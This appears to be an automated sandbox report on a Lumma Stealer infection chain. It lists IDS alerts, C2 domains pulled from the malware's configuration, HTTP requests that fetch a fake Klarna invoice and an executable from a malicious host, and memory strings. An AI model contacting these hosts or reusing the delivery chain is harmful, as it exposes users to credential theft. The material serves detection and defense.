Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0026FA62 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,ReadFile,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptGetHashParam,GetLastError,SetFilePointerEx,GetLastError,	17_2_0026FA62
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_00249E9E DecryptFileW,DecryptFileW,	17_2_00249E9E

Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe

File opened: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\msvcr90.dll

Source: unknown	HTTPS traffic detected: 62.182.21.105:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.182.21.105:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.81:443 -> 192.168.2.4:49815 version: TLS 1.2

Source:	Binary string: C:\agent\_work\8\s\build\ship\x86\burn.pdb source: powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp, IMAKBWPY.exe, 00000010.00000000.1937547411.00000000009EB000.00000002.00000001.01000000.0000000F.sdmp, IMAKBWPY.exe, 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmp, IMAKBWPY.exe, 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmp, IMAKBWPY.exe, 00000011.00000000.1942070181.000000000027B000.00000002.00000001.01000000.00000011.sdmp, IMAKBWPY.exe.16.dr
Source:	Binary string: explorer.pdbUGP source: explorer.exe, 00000016.00000003.2529304928.0000000005595000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: msvcr90.i386.pdb source: msvcr90.dll.18.dr
Source:	Binary string: mfdvdec.pdbUGP source: cmd.exe, 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2571463926.0000000000366000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: sethc.pdbGCTL source: mshta.exe, 00000004.00000003.2219075197.000001D04CEAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2219241314.000001D04CEAC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221900308.000001D04CD61000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2219075197.000001D04CE70000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2218300920.000001D04CEC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2219486828.000001D04CE72000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2247275165.000001D04CD81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2219737128.000001D048DB4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2220749210.000001D04CE07000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221325270.000001D048DAA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221436947.000001D04CDC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mfdvdec.pdb source: cmd.exe, 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2571463926.0000000000366000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: pyexec.exe, 00000012.00000002.2156013955.0000000008950000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000012.00000002.2160438736.0000000008CB0000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2350967507.0000000009021000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349805985.000000000891F000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2350182430.0000000008C70000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528670821.0000000004C46000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528981853.00000000050B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572930085.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572486363.0000000004D27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: pyexec.exe, 00000012.00000002.2156013955.0000000008950000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000012.00000002.2160438736.0000000008CB0000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2350967507.0000000009021000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349805985.000000000891F000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2350182430.0000000008C70000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528670821.0000000004C46000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528981853.00000000050B0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572930085.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572486363.0000000004D27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sethc.pdb source: mshta.exe, 00000004.00000003.2221900308.000001D04CD61000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2247275165.000001D04CD81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2220749210.000001D04CE07000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221325270.000001D048DAA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221436947.000001D04CDC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\build27\cpython\PCBuild\python27.pdb source: pyexec.exe, 00000012.00000002.2168401639.000000006C25A000.00000002.00000001.01000000.00000014.sdmp, pyexec.exe, 00000012.00000003.2126299220.000000000906F000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2352385789.000000006BC2A000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: explorer.pdb source: explorer.exe, 00000016.00000003.2529304928.0000000005595000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009A3CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,	16_2_009A3CC4
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009E4440 FindFirstFileW,FindClose,	16_2_009E4440
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009B9B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose,	16_2_009B9B43
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_00274440 FindFirstFileW,FindClose,	17_2_00274440
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_00249B43 FindFirstFileW,lstrlenW,FindNextFileW,FindClose,	17_2_00249B43
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_00233CC4 GetFileAttributesW,GetLastError,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,FindClose,	17_2_00233CC4

Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe

Code function: 4x nop then mov eax, dword ptr [esp+04h]

17_2_1000DCA0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49815 -> 104.21.59.81:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49815 -> 104.21.59.81:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe

Network Connect: 104.21.59.81 443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: passworoggre.click
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou

Source: global traffic	HTTP traffic detected: GET /KlarnaInvoice42611.pdf HTTP/1.1Host: naubeautylus.chConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /IMAKBWPY.exe HTTP/1.1Host: naubeautylus.ch

Source: Joe Sandbox View	ASN Name: SUB6GB SUB6GB
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49820 -> 104.21.59.81:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49815 -> 104.21.59.81:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49736 -> 62.182.21.105:443

Source: global traffic	HTTP traffic detected: GET /Headerfrontend HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: naubeautylus.chConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: passworoggre.click

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Headerfrontend HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: naubeautylus.chConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /KlarnaInvoice42611.pdf HTTP/1.1Host: naubeautylus.chConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /IMAKBWPY.exe HTTP/1.1Host: naubeautylus.ch

Source: global traffic	DNS traffic detected: DNS query: naubeautylus.ch
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: passworoggre.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: passworoggre.click

Source: IMAKBWPY.exe	String found in binary or memory: http://appsyndication.org/2006/appsyn
Source: powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp, IMAKBWPY.exe, 00000010.00000000.1937547411.00000000009EB000.00000002.00000001.01000000.0000000F.sdmp, IMAKBWPY.exe, 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmp, IMAKBWPY.exe, 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmp, IMAKBWPY.exe, 00000011.00000000.1942070181.000000000027B000.00000002.00000001.01000000.00000011.sdmp, IMAKBWPY.exe.16.dr	String found in binary or memory: http://appsyndication.org/2006/appsynapplicationapuputil.cppupgradeexclusivetrueenclosuredigestalgor
Source: pyexec.exe, 00000013.00000002.2349529322.0000000008735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c0rl.m%L
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: explorer.exe, 00000016.00000003.2570257382.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570568622.0000000003420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftP
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: svchost.exe, 00000005.00000002.2998510315.000001EFFC411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: pyexec.exe, 00000012.00000002.2151008989.0000000008783000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349529322.0000000008735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicer
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: svchost.exe, 00000005.00000003.1807192834.000001EFFC198000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000005.00000003.1807192834.000001EFFC198000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000005.00000003.1807192834.000001EFFC198000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000005.00000003.1807192834.000001EFFC1CD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.5.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000006.00000002.1948905614.000001EF00854000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://naubeautylus.ch
Source: powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0022A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: python27.dll.17.dr	String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://s.symcd.com06
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 00000006.00000002.1948905614.000001EF00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0022A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
